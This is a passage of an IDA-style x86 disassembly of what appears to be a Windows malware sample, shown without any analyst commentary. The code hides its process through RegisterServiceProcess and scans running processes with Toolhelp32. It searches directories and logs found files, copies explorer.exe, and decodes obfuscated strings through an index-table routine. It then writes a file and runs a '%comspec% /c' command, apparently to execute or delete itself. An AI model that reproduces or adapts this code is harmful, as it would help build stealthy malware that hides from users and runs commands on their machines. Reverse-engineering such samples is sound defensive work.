		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40CFF0	proc near		; CODE XREF: sub_402257j

var_548		= byte ptr -548h
var_51C		= byte ptr -51Ch
var_51B		= byte ptr -51Bh
var_408		= byte ptr -408h
var_304		= byte ptr -304h
var_200		= byte ptr -200h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h

		sub	esp, 548h
		lea	eax, [esp+548h+var_408]
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+554h+arg_10]
		push	edi
		mov	edi, dword_50FAD8
		push	esi
		push	offset aS_1	; "%s\\*"
		push	104h
		push	eax
		call	edi	; _snprintf
		add	esp, 10h
		lea	ecx, [esp+558h+var_548]
		lea	edx, [esp+558h+var_408]
		push	ecx
		push	edx
		nop
		call	near ptr 2910000h
		mov	ebp, [esp+558h+arg_14]
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40D0B7


loc_40D040:				; CODE XREF: sub_40CFF0+C5j
		test	[esp+558h+var_548], 10h
		jz	short loc_40D0A7
		cmp	[esp+558h+var_51C], 2Eh
		jnz	short loc_40D05A
		mov	al, [esp+558h+var_51B]
		test	al, al
		jz	short loc_40D0A7
		cmp	al, 2Eh
		jz	short loc_40D0A7


loc_40D05A:				; CODE XREF: sub_40CFF0+5Cj
		lea	eax, [esp+558h+var_51C]
		lea	ecx, [esp+558h+var_304]
		push	eax
		push	esi
		push	offset dword_443684
		push	104h
		push	ecx
		call	edi	; _snprintf
		mov	eax, [esp+56Ch+arg_C]
		mov	ecx, [esp+56Ch+arg_8]
		lea	edx, [esp+56Ch+var_304]
		push	ebp
		push	edx
		mov	edx, [esp+574h+arg_4]
		push	eax
		mov	eax, [esp+578h+arg_0]
		push	ecx
		push	edx
		push	eax
		call	sub_402257
		add	esp, 2Ch
		mov	ebp, eax


loc_40D0A7:				; CODE XREF: sub_40CFF0+55j
					; sub_40CFF0+64j ...
		lea	ecx, [esp+558h+var_548]
		push	ecx
		push	ebx
		nop
		call	near ptr 2900000h
		test	eax, eax
		jnz	short loc_40D040


loc_40D0B7:				; CODE XREF: sub_40CFF0+4Ej
		push	ebx
		nop
		call	near ptr 28F02BCh
		mov	edx, [esp+558h+arg_C]
		lea	eax, [esp+558h+var_408]
		push	edx
		push	esi
		push	offset dword_443684
		push	104h
		push	eax
		call	edi	; _snprintf
		add	esp, 14h
		lea	ecx, [esp+558h+var_548]
		lea	edx, [esp+558h+var_408]
		push	ecx
		push	edx
		nop
		call	near ptr 2910000h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40D14B


loc_40D0F8:				; CODE XREF: sub_40CFF0+159j
		lea	eax, [esp+558h+var_51C]
		lea	ecx, [esp+558h+var_200]
		push	eax
		push	esi
		push	offset aFoundSS	; "Found: %s\\%s"
		push	200h
		push	ecx
		inc	ebp
		call	edi	; _snprintf
		mov	edx, [esp+56Ch+arg_8]
		mov	ecx, [esp+56Ch+arg_4]
		lea	eax, [esp+56Ch+var_200]
		push	edx
		mov	edx, [esp+570h+arg_0]
		push	eax
		push	ecx
		push	edx
		call	sub_401523
		add	esp, 24h
		lea	eax, [esp+558h+var_548]
		push	eax
		push	ebx
		nop
		call	near ptr 2900000h
		test	eax, eax
		jnz	short loc_40D0F8


loc_40D14B:				; CODE XREF: sub_40CFF0+106j
		push	ebx
		nop
		call	near ptr 28F02BCh
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 548h
		retn
sub_40CFF0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40D1C0	proc near		; CODE XREF: sub_40104Bj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40D1C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	4
		push	4
		push	1
		push	13h
		lea	eax, [esp+58h+var_3C]
		push	1
		mov	esi, ecx
		push	eax
		call	sub_4019B5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017E4
		lea	ecx, [esi+19h]
		push	eax
		push	ecx
		mov	ecx, offset dword_447118
		call	sub_401591
sub_40D1C0	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	5
		push	4
		push	13h
		lea	edx, [esp+1Ch]
		push	1
		push	edx
		call	sub_4019B5
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017E4
		push	eax
		lea	eax, [esi+47h]
		push	eax
		mov	ecx, offset dword_447118
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	4
		push	4
		push	1
		push	3
		push	16h
		lea	ecx, [esp+20h]
		push	13h
		push	ecx
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017E4
		lea	edx, [esi+75h]
		push	eax
		push	edx
		mov	ecx, offset dword_447118
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	5
		push	4
		push	3
		push	16h
		push	13h
		lea	eax, [esp+3Ch]
		push	eax
		call	sub_4019B5
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017E4
		add	esi, 0A3h
		push	eax
		push	esi
		mov	ecx, offset dword_447118
		call	sub_401591
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40D370:				; CODE XREF: ___:004013CAj
		sub	esp, 104h
		lea	eax, [esp+0]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2920000h
		push	eax
		call	near ptr 29112D4h
		nop
		mov	eax, dword_447070
		test	eax, eax
		jz	loc_40D493
		mov	ecx, dword_44706C
		test	ecx, ecx
		jz	loc_40D493
		mov	ecx, dword_446F38
		test	ecx, ecx
		jz	loc_40D493
		push	0
		push	2
		call	eax	; CreateToolhelp32Snapshot
		cmp	eax, 0FFFFFFFFh
		mov	dword_447068, eax
		jz	loc_40D493
		push	ebp
		push	offset dword_446F40
		push	eax
		xor	ebp, ebp
		mov	dword_446F40, 128h
		call	dword_44706C	; Process32First
		test	eax, eax
		jz	loc_40D47C
		push	ebx
		mov	ebx, [esp+110h]
		push	esi
		mov	esi, dword_50FAD4
		push	edi


loc_40D3FD:				; CODE XREF: ___:0040D477j
		mov	edi, offset dword_446F64
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+10h]
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, offset dword_446F64
		push	ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	edi, [esp+14h]
		sub	edx, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		push	offset dword_446F64
		add	edx, ecx
		push	edx
		call	esi	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40D463
		mov	edi, offset dword_446F64
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	offset dword_446F64
		mov	ecx, ebx
		call	sub_401681
		push	eax
		call	esi	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40D464


loc_40D463:				; CODE XREF: ___:0040D43Bj
		inc	ebp


loc_40D464:				; CODE XREF: ___:0040D461j
		mov	eax, dword_447068
		push	offset dword_446F40
		push	eax
		call	dword_446F38	; Process32Next
		test	eax, eax
		jnz	short loc_40D3FD
		pop	edi
		pop	esi
		pop	ebx


loc_40D47C:				; CODE XREF: ___:0040D3E7j
		mov	ecx, dword_447068
		push	ecx
		nop
		call	near ptr 28D0809h
		mov	eax, ebp
		pop	ebp
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_40D493:				; CODE XREF: ___:0040D396j
					; ___:0040D3A4j ...
		xor	eax, eax
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40D4F0:				; CODE XREF: ___:00401F91j
		sub	esp, 11Ch
		lea	eax, [esp+18h]
		push	ebx
		push	esi
		push	edi
		push	104h
		push	eax
		nop
		call	near ptr 2920D29h
		mov	edi, offset aExplorer_exe ; "\\explorer.exe"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+24h]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	eax
		mov	esi, edi
		mov	ebx, ecx
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, ebx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		push	80h
		and	ecx, 3
		push	3
		push	eax
		push	1
		rep movsb
		mov	edi, dword_50F8E8
		lea	eax, [esp+38h]
		push	80000000h
		push	eax
		call	edi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40D5B6
		lea	ecx, [esp+1Ch]
		lea	edx, [esp+0Ch]
		push	ecx
		lea	eax, [esp+18h]
		push	edx
		push	eax
		push	esi
		nop
		call	near ptr 292087Eh
		mov	ebx, dword_50F8D8
		push	esi
		call	ebx
		mov	ecx, [esp+12Ch]
		push	0
		push	80h
		push	3
		push	0
		push	2
		push	40000000h
		push	ecx
		call	edi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40D5B6
		lea	edx, [esp+1Ch]
		lea	eax, [esp+0Ch]
		push	edx
		lea	ecx, [esp+18h]
		push	eax
		push	ecx
		push	esi
		nop
		call	near ptr 29201E1h
		push	esi
		call	ebx


loc_40D5B6:				; CODE XREF: ___:0040D559j
					; ___:0040D59Bj
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 11Ch
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40D610	proc near		; CODE XREF: sub_401B59j

var_19C		= byte ptr -19Ch
var_184		= byte ptr -184h
var_16C		= byte ptr -16Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_40D610
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 190h
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+1A8h+var_16C]
		call	sub_401424
		push	104h
		push	104h
		lea	ecx, [esp+1B0h+var_16C]
		mov	[esp+1B0h+var_4], 0
		call	sub_401C5D
		push	eax
		call	near ptr 2870B67h
		nop
		lea	ecx, [esp+1A8h+var_16C]
		call	sub_4017E4
		push	eax
		lea	ecx, [esi+4]
		call	sub_4015D7
		lea	ecx, [esp+1A8h+var_184]
		call	sub_401424
		mov	ebx, 1
		push	104h
		push	104h
		lea	ecx, [esp+1B0h+var_184]
		mov	byte ptr [esp+1B0h+var_4], bl
		call	sub_401C5D
		push	eax
		push	0
		nop
		call	near ptr 2920000h
		push	eax
		call	near ptr 29112D4h
		nop
		push	offset aKernel32_dll_0 ; "kernel32.dll"
		nop
		call	near ptr 28608D9h
		mov	esi, eax
		test	esi, esi
		jz	short loc_40D701
		mov	edi, dword_50F8A0
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	esi
		call	edi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	esi
		mov	dword_447074, eax
		call	edi
		push	offset aProcess32first ; "Process32First"
		push	esi
		mov	dword_447070, eax
		call	edi
		push	offset aProcess32next ;	"Process32Next"
		push	esi
		mov	dword_44706C, eax
		call	edi
		mov	dword_446F38, eax
		mov	eax, dword_447074
		test	eax, eax
		jz	short loc_40D701
		push	ebx
		push	0
		call	eax


loc_40D701:				; CODE XREF: sub_40D610+A7j
					; sub_40D610+EAj
		mov	esi, [esp+1A8h+arg_0]
		push	0
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+1B0h+var_184]
		call	sub_402117
		test	eax, eax
		jnz	short loc_40D738
		mov	al, byte_44715F
		test	al, al
		jz	short loc_40D738
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40D738:				; CODE XREF: sub_40D610+10Dj
					; sub_40D610+116j
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	46h
		push	47h
		push	12h
		push	10h
		push	10h
		push	0Eh
		push	9
		lea	eax, [esp+1D8h+var_19C]
		push	17h
		push	eax
		call	sub_4019B5
		add	esp, 38h
		mov	ecx, eax
		mov	byte ptr [esp+1A8h+var_4], 2
		call	sub_4017E4
		push	eax
		call	sub_4015FA
sub_40D610	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	14h
		push	13h
		push	0Fh
		push	8
		push	0Ch
		push	0Ch
		lea	ecx, [esp+38h]
		push	4
		push	ecx
		call	sub_4019B5
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 3
		call	sub_4017E4
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	4
		push	10h
		push	14h
		push	6
		lea	edx, [esp+30h]
		push	14h
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 4
		call	sub_4017E4
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	14h
		push	13h
		push	ebx
		push	0Ch
		push	2
		push	13h
		lea	eax, [esp+38h]
		push	0Dh
		push	eax
		call	sub_4019B5
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 5
		call	sub_4017E4
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	46h
		push	47h
		push	13h
		push	9
		push	0Eh
		push	5
		lea	ecx, [esp+38h]
		push	10h
		push	ecx
		call	sub_4019B5
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 6
		call	sub_4017E4
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	8
		push	3
		push	14h
		push	ebx
		push	10h
		push	13h
		lea	edx, [esp+38h]
		push	0Dh
		push	edx
		call	sub_4019B5
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 7
		call	sub_4017E4
		push	eax
		call	sub_4015FA
; ---------------------------------------------------------------------------
		db 83h
		dd 4C8D04C4h, 9C880C24h, 1A424h, 3924E800h, 448DFFFFh
		dd 6A3C24h, 244C8D50h, 3EF5E82Ch, 0C085FFFFh, 116850Fh
		dd 8B550000h, 3EC2E8CEh, 6A50FFFFh, 244C8D5Ch, 3EB6E848h
		dd 8D50FFFFh, 0A8248Ch,	0F8680000h, 5100443Ah, 0E243E890h
		dd 3D8B0028h, 50F8A4h, 0FF14C483h, 24948DD7h, 9Ch, 8D52006Ah
		dd 8B30244Ch, 3D1FE8E8h, 358BFFFFh, 50F90Ch, 85D6FF50h
		dd 0FF3075C0h, 3DC52BD7h, 61A8h, 0D0682573h, 90000007h
		dd 4B44B3E8h, 24848D02h, 9Ch, 8D50006Ah, 0E830244Ch, 0FFFF3CE9h
		dd 85D6FF50h, 0A0D074C0h, 4477BBh, 74C0845Dh, 0CC358B39h
		dd 680050FAh, 104h, 9C248C8Dh, 68000000h, 443AF0h, 83D6FF51h
		dd 4C8D0CC4h, 4682424h,	0E8000001h, 0FFFF3E10h,	9C24948Dh
		dd 50000000h, 83D6FF52h, 11B90CC4h, 33000000h, 247C8DC0h
		dd 24948D54h, 98h, 8966ABF3h, 842484h, 448D0000h, 4C8D0C24h
		dd 51505424h, 6A006Ah, 6A53286Ah, 52006A00h, 44C7006Ah
		dd 447C24h, 0DDE80000h,	90024725h, 874C085h, 0E890006Ah
		dd 7782C44Eh, 24244C8Dh, 0A42484C6h, 1,	0FF37E5E8h, 244C8DFFh
		dd 2484C73Ch, 1A4h, 0FFFFFFFFh,	0FF37D1E8h, 248C8BFFh
		dd 19Ch, 5EC38A5Fh, 0D89645Bh, 0
; ---------------------------------------------------------------------------
		add	esp, 19Ch
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 120h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40DBA0	proc near		; CODE XREF: sub_401195j
		mov	al, byte_447161
		test	al, al
		jz	short loc_40DBB4
		push	offset word_447162
		nop
		call	near ptr 2870996h


loc_40DBB4:				; CODE XREF: sub_40DBA0+7j
		mov	al, 1
		retn
sub_40DBA0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40DBD0	proc near		; CODE XREF: sub_401E5Bj

var_6D0		= dword	ptr -6D0h
var_6CC		= dword	ptr -6CCh
var_6C8		= dword	ptr -6C8h
var_6C4		= dword	ptr -6C4h
var_6C0		= dword	ptr -6C0h
var_6BC		= dword	ptr -6BCh
var_6B8		= dword	ptr -6B8h
var_6B4		= dword	ptr -6B4h
var_6B0		= byte ptr -6B0h
var_6AC		= byte ptr -6ACh
var_694		= byte ptr -694h
var_67C		= byte ptr -67Ch
var_664		= byte ptr -664h
var_64C		= byte ptr -64Ch
var_634		= byte ptr -634h
var_61C		= byte ptr -61Ch
var_604		= byte ptr -604h
var_5EC		= byte ptr -5ECh
var_5D4		= byte ptr -5D4h
var_5BC		= byte ptr -5BCh
var_5A4		= byte ptr -5A4h
var_58C		= byte ptr -58Ch
var_574		= byte ptr -574h
var_564		= dword	ptr -564h
var_534		= word ptr -534h
var_520		= byte ptr -520h
var_41C		= byte ptr -41Ch
var_318		= byte ptr -318h
var_214		= byte ptr -214h
var_110		= byte ptr -110h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40DBD0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 6C4h
		push	esi
		lea	eax, [esp+6D4h+var_41C]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2920000h
		push	eax
		nop
		call	near ptr 29112D4h
		lea	ecx, [esp+6D4h+var_318]
		push	ecx
		push	104h
		nop
		call	near ptr 2850000h
		push	0
		push	14h
		push	1
		push	2
		push	4Fh
		push	0Fh
		push	12h
		push	6
		lea	edx, [esp+6F4h+var_5EC]
		push	1
		push	edx
		call	sub_4019B5
		add	esp, 28h
		mov	ecx, eax
		mov	[esp+6D4h+var_4], 0
		call	sub_4017E4
		push	eax
		lea	eax, [esp+6D8h+var_318]
		push	eax
		lea	ecx, [esp+6DCh+var_520]
		push	offset dword_443684
		push	ecx
		nop
		call	sub_69BB85
		add	esp, 10h
		lea	ecx, [esp+6D4h+var_5EC]
		mov	[esp+6D4h+var_4], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0
		push	2
		push	0
		push	0
		lea	edx, [esp+6E8h+var_520]
		push	40000000h
		push	edx
		nop
		call	near ptr 28F0000h
		mov	esi, eax
		test	esi, esi
		jbe	loc_40E128
		push	ebx
		push	ebp
		push	edi
		lea	ecx, [esp+6E0h+var_6AC]
		call	sub_401424
		push	0
		push	14h
		push	1
		push	2
		lea	eax, [esp+6F0h+var_604]
		push	4Fh
		push	eax
		mov	[esp+6F8h+var_4], 1
		call	sub_4019B5
		mov	edi, eax
		push	0
		push	39h
		push	10h
		push	0Dh
		push	5
		push	14h
		push	39h
		push	4Eh
		push	0Ch
		push	5
		lea	ecx, [esp+720h+var_634]
		push	4
		push	ecx
		mov	byte ptr [esp+728h+var_4], 2
		call	sub_4019B5
		add	esp, 48h
		mov	ebp, eax
		push	0
		push	14h
		push	1
		push	2
		lea	edx, [esp+6F0h+var_664]
		push	4Fh
		push	edx
		mov	byte ptr [esp+6F8h+var_4], 3
		call	sub_4019B5
		mov	ebx, eax
		push	0
		push	39h
		push	10h
		push	0Dh
		push	5
		push	14h
		push	39h
		push	4Eh
		push	20h
		push	52h
		push	4Eh
		push	0Ch
		push	5
		lea	eax, [esp+72Ch+var_67C]
		push	4
		push	eax
		mov	byte ptr [esp+734h+var_4], 4
		call	sub_4019B5
		add	esp, 54h
		mov	[esp+6E0h+var_6B4], eax
		push	0
		push	5
		push	0Eh
		push	0Fh
		push	4
		lea	ecx, [esp+6F4h+var_61C]
		push	53h
		push	ecx
		mov	byte ptr [esp+6FCh+var_4], 5
		call	sub_4019B5
		mov	[esp+6FCh+var_6C8], eax
		mov	byte ptr [esp+6FCh+var_4], 6
		push	0
		push	14h
		push	12h
		push	1
		push	14h
		push	13h
		push	4Eh
		push	0Fh
		push	14h
		push	0Fh
		lea	edx, [esp+724h+var_5D4]
		push	7
		push	edx
		call	sub_4019B5
		add	esp, 4Ch
		mov	[esp+6E0h+var_6B8], eax
		push	0
		push	54h
		push	54h
		push	45h
		push	39h
		push	54h
		push	54h
		push	4Eh
		push	0Ch
		push	5
		lea	eax, [esp+708h+var_5A4]
		push	4
		push	eax
		mov	byte ptr [esp+710h+var_4], 7
		call	sub_4019B5
		mov	[esp+710h+var_6C0], eax
		push	0
		push	54h
		push	54h
		push	45h
		push	39h
		push	54h
		push	54h
		push	4Eh
		push	20h
		push	52h
		push	4Eh
		push	0Ch
		push	5
		lea	ecx, [esp+744h+var_58C]
		push	4
		push	ecx
		mov	byte ptr [esp+74Ch+var_4], 8
		call	sub_4019B5
		add	esp, 6Ch
		mov	[esp+6E0h+var_6D0], eax
		push	0
		push	5
		push	0Eh
		push	0Fh
		push	4
		push	4Eh
		push	0Fh
		push	14h
		push	0Fh
		push	7
		push	4Eh
		push	54h
		push	54h
		push	45h
		push	39h
		push	54h
		push	54h
		push	4Eh
		push	14h
		push	13h
		push	9
		push	18h
		push	5
		push	4Eh
		push	14h
		mov	byte ptr [esp+744h+var_4], 9
		push	0Fh
		push	0Eh
		push	4Eh
		push	6
		lea	edx, [esp+754h+var_694]
		push	9
		push	edx
		call	sub_4019B5
		mov	[esp+75Ch+var_6CC], eax
		push	0
		push	14h
		push	12h
		push	1
		push	14h
		push	13h
		lea	eax, [esp+774h+var_5BC]
		push	53h
		push	eax
		mov	byte ptr [esp+77Ch+var_4], 0Ah
		call	sub_4019B5
		add	esp, 9Ch
		mov	[esp+6E0h+var_6C4], eax
		push	0
		push	6
		push	6
		push	0Fh
		push	4Eh
		push	0Fh
		push	8
		push	3
		push	5
		lea	ecx, [esp+704h+var_64C]
		push	56h
		push	ecx
		mov	byte ptr [esp+70Ch+var_4], 0Bh
		call	sub_4019B5
		add	esp, 2Ch
		mov	[esp+6E0h+var_6BC], eax
		mov	ecx, edi
		mov	byte ptr [esp+6E0h+var_4], 0Ch
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		mov	ecx, [esp+6E8h+var_6B4]
		push	eax
		call	sub_4017E4
		mov	ecx, [esp+6ECh+var_6C8]
		push	eax
		call	sub_4017E4
		mov	ecx, [esp+6F0h+var_6B8]
		push	eax
		call	sub_4017E4
		mov	ecx, [esp+6F4h+var_6C0]
		push	eax
		call	sub_4017E4
		mov	ecx, [esp+6F8h+var_6D0]
		push	eax
		call	sub_4017E4
		mov	ecx, [esp+6FCh+var_6CC]
		push	eax
		call	sub_4017E4
		mov	ecx, [esp+700h+var_6C4]
		push	eax
		call	sub_4017E4
		mov	ecx, [esp+704h+var_6BC]
		push	eax
		call	sub_4017E4
		push	eax
		lea	edx, [esp+70Ch+var_6AC]
		push	offset aSSSSSSSSSS ; "%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r%s\r\n%s\r%s\r\n"
		push	edx
		call	sub_40102D
		add	esp, 34h
		mov	byte ptr [esp+6E0h+var_4], 0Bh
		lea	ecx, [esp+6E0h+var_64C]
		call	sub_401226
		lea	ecx, [esp+6E0h+var_5BC]
		mov	byte ptr [esp+6E0h+var_4], 0Ah
		call	sub_401226
		lea	ecx, [esp+6E0h+var_694]
		mov	byte ptr [esp+6E0h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+6E0h+var_58C]
		mov	byte ptr [esp+6E0h+var_4], 8
		call	sub_401226
		lea	ecx, [esp+6E0h+var_5A4]
		mov	byte ptr [esp+6E0h+var_4], 7
		call	sub_401226
		lea	ecx, [esp+6E0h+var_5D4]
		mov	byte ptr [esp+6E0h+var_4], 6
		call	sub_401226
		lea	ecx, [esp+6E0h+var_61C]
		mov	byte ptr [esp+6E0h+var_4], 5
		call	sub_401226
		lea	ecx, [esp+6E0h+var_67C]
		mov	byte ptr [esp+6E0h+var_4], 4
		call	sub_401226
		lea	ecx, [esp+6E0h+var_664]
		mov	byte ptr [esp+6E0h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+6E0h+var_634]
		mov	byte ptr [esp+6E0h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+6E0h+var_604]
		mov	byte ptr [esp+6E0h+var_4], 1
		call	sub_401226
		lea	eax, [esp+6E0h+var_6B0]
		push	0
		push	eax
		push	69h
		lea	ecx, [esp+6ECh+var_6AC]
		call	sub_4017E4
		push	eax
		push	esi
		nop
		call	near ptr 2860000h
		push	esi
		nop
		call	near ptr 28D0809h
		mov	ecx, 11h
		xor	eax, eax
		lea	edi, [esp+6E0h+var_564]
		push	104h
		rep stosd
		lea	ecx, [esp+6E4h+var_41C]
		mov	[esp+6E4h+var_564], 44h
		push	ecx
		push	eax
		mov	[esp+6ECh+var_534], ax
		nop
		call	near ptr 2920000h
		push	eax
		call	near ptr 29112D4h
		nop
		lea	edx, [esp+6E0h+var_41C]
		lea	eax, [esp+6E0h+var_520]
		push	edx
		push	eax
		lea	ecx, [esp+6E8h+var_214]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	ecx
		nop
		call	sub_69BB85
		add	esp, 10h
		lea	edx, [esp+6E0h+var_110]
		lea	eax, [esp+6E0h+var_214]
		push	104h
		push	edx
		push	eax
		nop
		call	near ptr 2890000h
		lea	ecx, [esp+6E0h+var_574]
		lea	edx, [esp+6E0h+var_564]
		push	ecx
		push	edx
		push	0
		push	0
		push	28h
		push	1
		push	0
		push	0
		lea	eax, [esp+700h+var_110]
		push	eax
		push	0
		nop
		call	near ptr 2880000h
		lea	ecx, [esp+6E0h+var_6AC]
		mov	[esp+6E0h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	ebp
		pop	ebx
		mov	al, 1
		pop	esi
		mov	ecx, [esp+6D0h+var_C]
		mov	large fs:0, ecx
		add	esp, 6D0h
		retn
; ---------------------------------------------------------------------------


loc_40E128:				; CODE XREF: sub_40DBD0+D6j
		mov	ecx, [esp+6D4h+var_C]
		mov	al, 1
		pop	esi
		mov	large fs:0, ecx
		add	esp, 6D0h
		retn
sub_40DBD0	endp

; ---------------------------------------------------------------------------
		db 160h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40E2A0	proc near		; CODE XREF: sub_401726j

var_70		= dword	ptr -70h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_40E2A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 64h
		push	ebx
		push	ebp
		push	esi
		push	edi
		lea	ecx, [esp+80h+var_54]
		call	sub_401424
		lea	ecx, [esp+80h+var_6C]
		mov	[esp+80h+var_4], 0
		call	sub_401424
		lea	ecx, [esp+80h+var_3C]
		mov	byte ptr [esp+80h+var_4], 1
		call	sub_401424
		push	0
		push	5
		push	3
		push	0Eh
		push	29h
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
